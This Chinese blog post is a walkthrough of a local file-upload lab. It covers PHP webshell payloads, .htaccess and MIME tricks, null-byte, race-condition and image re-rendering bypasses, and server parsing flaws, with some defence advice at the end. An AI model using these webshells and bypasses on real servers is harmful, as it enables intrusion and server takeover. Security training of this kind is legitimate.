前言
在 11月打 HW 的时候,遇到了一个靶标服务器二次渲染的文件上传点,因为之前没仔细研究没能拿到权限,还是有点遗憾的。而且 Getshell 的主要两个方式就是文件上传和远程命令执行,所以正好借着这个国光的文件上传靶场来总结一下文件上传的姿势。
手册
1 |
# PHP |
搭建环境
-
靶场 Github 地址:https://github.com/sqlsec/upload-labs-docker 下载到本地
-
进入项目文件夹:
cd upload-labs-docker
-
部署运行:
docker-compose up -d
-
准备一个一句话木马
x.php
:
1 |
eval($_REQUEST[x]); |
GET 和 POST 请求都可以用
一切准备就绪 ~
那就访问:http://127.0.0.1:30001/ 开始第一关吧
30001 - 30013 一个端口一关
30001 - JavaScript 绕过
本关特征
抓不到数据包的情况下,依然提示文件类型不正确
Bypass
本关客户端 js 校验代码:
1 |
<script> |
调试 js
选到 whitelist 函数这行 开始调试 js:
找到该变量 直接修改数组元素的值
右边为单点调试 左边为结束调试
结束调试 成功上传:
访问http://127.0.0.1:30001/upload/1.php?x=system(%27cat%20/flag%27);
拿到 flag
禁用 js
设置地址:chrome://settings/content/javascript
抓包
可以先上传通过客户端校验后缀的文件 再通过抓包修改后缀绕过:
30002 - htaccess 解析规则绕过
htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess文件最常用的功能应该就是自定义404页面了,其操作也非常简单,在.htaccess 文件中加入代码:ErrorDocument 404 /Error.html ,然后建立一个简单的html404页面并命名 Error.html即可。
本关特征
黑名单几乎过滤了所有有问题的后缀名,除了.htaccess
Bypass
上传一个允许的后缀文件 抓包修改文件名和内容:
- 文件名:
.htaccess
- 内容:
SetHandler application/x-httpd-php
这里的 htaccess 文件会使服务器把我们上传的其他后缀文件当成 php 文件解析
此时服务器的目录:
30003 - MIME 绕过
媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。
MIME的组成结构非常简单;由类型与子类型两个字符串中间用 ‘/‘ 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。
通用的结构为:
1 |
type/subtype |
MIME类型对大小写不敏感,但是传统写法都是小写。
本关特征
服务端校验 上传图片格式不解析 其他格式(包括 .htaccess)提示文件类型不正确
Bypass
抓包修改 Content-Type 字段:
上传成功
30004 - 文件头绕过
常见的文件头标志如下:
- JPEG (jpg),文件头:
FFD8FF
- PNG (png),文件头:
89504E47
- GIF (gif),文件头:
47494638
- HTML (html),文件头:
68746D6C3E
- ZIP Archive (zip),文件头:
504B0304
- RAR Archive (rar),文件头:
52617221
- Adobe Acrobat (pdf),文件头:
255044462D312E
- MS Word/Excel (xls.or.doc),文件头:
D0CF11E0
本关特征
服务端白名单校验 只允许上传固定类型的文件 getReailFileType 函数只会校验文件前几个字节
Bypass
抓包添加文件头 GIF89a 假装自己是个 GIF 文件
成功上传
30005 - 双写绕过
关键代码:
本关特征
上传 php 文件后修改 MIME 类型伪造文件头成功上传
但是上传的结果是这个样子:
上传的 php 文件后缀被替换了 导致服务器不解析
回过头来看正是这行代码造成的:
1 |
$name = str_ireplace($blacklist,"",$name); |
看到『 忽略大小写版本 』:无法通过大小写绕过
Bypass
抓包双写为 pphphp 后缀
成功上传
30006 - 大小写绕过
本关函数使用了 str_replace
本关特征
同样的黑名单替换且 Windows 环境特性是不区分大小写
Bypass
抓包修改后缀 Php
成功上传
30007 - GET 型 %00 截断绕过
%00 截断:PHP 内核是由 C 语言实现的,所以使用了 C 语言中的一些字符串处理函数。比如在连接字符串时候, 0 字节 (\x00) 将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。
%00 截断适用条件
- magic_quotes_gpc = Off
- PHP 版本小于 5.3.4
本关特征
-
只允许上传 jpg jpeg png gif 类型的文件
-
观察上图 路径信息是以 GET 方式传递到服务端的 默认会进行一次 URL 编码
-
而 %00 解码后就是空字节
Bypass
上传 x.php 抓包修改后缀和 MIME 类型 同时在上传路径添加 new.php 并使用 %00 截断
成功绕过:
原理是 %00
起到截断的作用,最终会在 upload 目录下面生成 new.php
顺便读一下 flag:
30008 - POST 型 %00 截断绕过
题目同上
本关特征
抓包发现路径信息是以 POST 方式传递到服务端的
Bypass
抓包通过 %00 截断
因为不是 GET 型 所以需要手动 URL 解码
这里解码后虽然看起来没有东西 但是如果不存在 %00 URL 解码后的空字节的话无法绕过成功上传
上传成功:
30009 - 黑名单绕过
本关特征
黑名单限制了不可上传的文件类型
Bypass
抓包改后缀为 phtml
即可上传成功:
题目中提示的这些冷门后缀均可以绕过:phtml pht php3 php3p php4 php5
或者 BP 改包:
p
hp
或者后缀加 00% 或者 %0a(换行) 或者空格
尝试能否在 ①.②p③h④p⑤ 这五个位置进行 fuzz
30010 - 条件竞争绕过
本关特征
还是同样的白名单服务端校验:
- 先通过 move_uploaded_file() 将文件上传至服务器中
- 上传完毕后通过 in_array($ext,$whitelist) 检查文件名后缀
- 如果后缀名合法,则对文件进行 rename 重命名,上传完成
- 如果后缀名非法,则 unlink 删除文件
因此可以通过条件竞争的方式在unlink之前,访问 shell.php
Bypass
竞争马 shell.php
:
1 |
'x.php','w'),'<?php eval($_REQUEST[x])?>'); fputs(fopen( |
抓包发送到 Intruder 使用 Null 空值无限爆破:
然后抓取访问 shell.php 的数据包:
1 |
GET /upload/shell.php HTTP/1.1 |
也使用 Null 空值爆破:
这里空值爆破的时候一定要把 Positions 中的变量 clear 掉
上传成功:
进容器中验证一下:
1 |
# 查看当前容器 |
30011 - 二次渲染绕过
本关特征
-
服务端对上传的图片做了二次渲染
-
可以远程文件包含逃避渲染上传后的图片
Bypass
分别使用 GIF、PNG、JPG 来尝试绕过:
GIF
上传一张 cute.gif
下载渲染后的 /upload/1616623862.gif
使用 010Editor 打开渲染前后的两张 GIF,在没有发生变化的数据库部分插入 Webshell
对比发现文件头后到箭头上方的内容是一样的:
插入一句话 <?php eval($_REQUEST[1]);?>
上传后下载渲染后的 GIF 查看payload 是否还在:
利用文件包含上传的图马:http://127.0.0.1:30011/?file=./upload/655485171.gif
读 Flag:http://127.0.0.1:30011/?file=./upload/655485171.gif&1=system(%27cat%20/f*%27);
/表示根目录的文件或文件夹
./ 表示当前目录的文件或文件夹 「 等于不加 / 」
../表示父级目录的文件或文件夹
PNG
PNG 二次渲染后除了文件头,其他部分全部不一致
写入 PLTE 数据块
WooYun 乌云 - php imagecreatefrom* 系列函数之 png
修改索引图像插入 PHP 代码的脚本项目地址为:Github - poc_png.py
因为只有索引图像才能将 payload 成功插入到 PLTE 数据块中
所以准备一张索引颜色的 love.png
:
使用上面的脚本生成 love_shell.png
1 |
python png_shell.py -p '<?php eval($_REQUEST[1]);?>' -o love_shell.png love.png |
上传进行二次渲染得到 1914602453.png
使用脚本再次生成 love_shell1.png
1 |
python png_shell.py -p '<?php eval($_REQUEST[1]);?>' -o love_shell1.png 1914602453.png |
再次上传得到 1997665874.png
读取 Flag:http://127.0.0.1:30011/?file=upload/1997665874.png&1=system(%27cat%20/f*%27);
这里一共需要使用脚本制作两次:
写入IDAT数据块
新建一个 IDAT.php:
1 |
|
命令行 php IDAT.php
生成 shell.png
1 |
hexdump -C shell.png |
上传后下载二次渲染之后的 1800595762.png
检验一下:
1 |
hexdump -C 1800595762.png |
成功绕过:
JPG
JPG 也需要使用脚本将数据插入到特定的数据库,而且可能会不成功,所以需要多次尝试。
项目地址:Github - lackFan/jpg_payload
-
先上传
sheep.jpg
-
下载渲染后的
518422027.jpg
-
使用
jpg_payload.php
脚本插入 payload
1 |
# 修改脚本第一行的 payload: |
- 上传脚本处理后的
payload_518422027.jpg
- 二次渲染后得到
596614187.jpg
- 检查一下 payload 还在不在:
- 成功执行
ls /
命令:
注意需要被服务端 imagecreatefromjpeg 渲染后再用脚本插入 payload
30012 - move_uploaded_file 绕过
本关特征
1 |
move_uploaded_file($temp_file, $img_path) |
当 $img_path
可控的时候,还会忽略掉 $img_path
后面的 /.
可直接 Getshell
Bypass
保存文件名称为 x.php/.
读一下 Flag:
30013 - 代码审计绕过
本关特征
核心代码:
1 |
$is_upload = false; |
首先看第一个判断:
1 |
$allow_type = array('image/jpeg','image/png','image/gif'); |
所以必须保证我们上传的表单 MIME 类型一定要符合标准。
接着对我们提交的 sava_name 的字符串进行处理,如果不是数组的话就以 .
为分隔,打散为数组:
1 |
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; |
如果是数组的话就无需打散,这里比较关键,后面再详细说,先记着。
因为打散后会校验最后的后缀:
1 |
$ext = end($file); |
如果不是合法后缀的话直接就报错了,所以我们老老实实的传入合法的字符串类型的不行的,这里的传入一个数组。比如这样的数组:
1 |
$file = [0=>'shell.php/', 2=>'png'] |
这样执行完最后的拼接文件名的代码后:
1 |
$file_name = reset($file) . '.' . $file[count($file) - 1]; |
这样最后一步:
1 |
move_uploaded_file($temp_file, $img_path) |
结合前面的 move_uploaded_file 函数缺陷,会忽略掉文件末尾的 /.
,所以最终就可以成功将 webshell 上传。
Bypass
抓包构造数据包:
上传成功:
文件上传漏洞
文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。
本质
上传文件时,如果服务端代码没有对客户端上传的文件进行严格的验证和过滤, 就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。
条件
- 首先,上传的文件能够被 Web 容器解释执行。所以文件上传后所在的目录要是 Web 容器所覆盖到的路径。
- 其次,用户能够从 Web 上访问这个文件。如果文件上传了,但用户无法通过 Web 访问,或者无法使得 Web容器解释这个脚本,那么也不能称之为漏洞。
- 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
危害
上传WebShell 控制整个网站,甚至控制服务器
防御方法
1、严格规范文件上传处理逻辑设计,不建议先存储后判断的方式,以免引起条件竞争类漏洞。
2、严格检查上传的文件后缀名、Content-Type、文件内容等。
3、定时修复服务器端的解析类漏洞,以及文件包含类漏洞避免漏洞组合。
ByPass 技巧
1.客户端校验绕过
- 直接修改 js 代码或者使用抓包的方法修改请求内容绕过,可以先上传一个gif木马,通过抓包修改为 jsp/php/asp。
- 关闭 js 尝试绕过
2.服务端绕过
- 通过抓包来修改Http头的content-type绕过
- 图片马:
copy pic.jpg/b+shell.php/a shell.jpg
3.黑名单绕过
- 将后缀改为
php.
php_
php4
phptml
php空格
再上传 - 使用
%00
截断:/var/www/html/upload/shell.php%00 shell.png
- 双写绕过:上传的文件名为
shell.pphphp
,那么被替换之后就为shell.php
4.htaccess文件绕过
- 先上传一个名为
.htaccess
的文件,内容为:AddType application/x-httpd-php .png
- 让 png 后缀的文件当做 PHP 来解析
IIS6.0解析漏洞
-
IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll
-
很多地方都会用到“;”,作用是结束,IIS6.0在这就是一个漏洞了。例如:上传a.asp;jpg,服务器就会将它作为asp去执行,但是这个文件的名称依旧是:a.asp;jpg,只是在执行的过程中,web容器解析的锅
-
另一种解析漏洞就是“/”,例如:命名为
a.asp/123.jpg
,简单的说这相当于构建了一个新的文件夹a.asp
,凡是这个里的文件都会以asp去执行(<7.5都有)
Nginx 解析漏洞
Nginx <=0.8.37
在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上.php会将 /xx.jpg.php 解析为 php 文件。
(站长评论:从 /test.jpg/x.php 演变过来的,具体可以参考:Ngnix 空字节可远程执行代码漏洞)
CGI解析漏洞
CGI简单的说,可以理解为是web服务器和独立程序之间的管家:服务器将a类型文件,交给CGI,CGI交给处理a类型文件的程序。
过程:
- 上传图片马,不用改变图片马的名称,假如上传
1.jpg
- 访问图片马文件位置,比如
www.aaa.com/bbb/ccc/1.jpg
- 在文件路径补充:“/.php”,即
www.aaa.com/bbb/ccc/1.jpg/.php
- 访问该路径验证:
www.aaa.com/bbb/ccc/1.jpg/.php=phpinfo();
原理
CGI一看是php后缀结尾,便给php程序去执行,php去找名字为“ 1.jpg”的文件夹,没找到,便去找“1.jpg”的文件,找到后执行。
漏洞本质:少了在次检测的环节。
参考资料
国光的保姆级 WriteUp:
https://github.com/sqlsec/upload-labs-docker/blob/main/WP.md
FROM : lintstar.top , Author: 离沫凌天๓
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论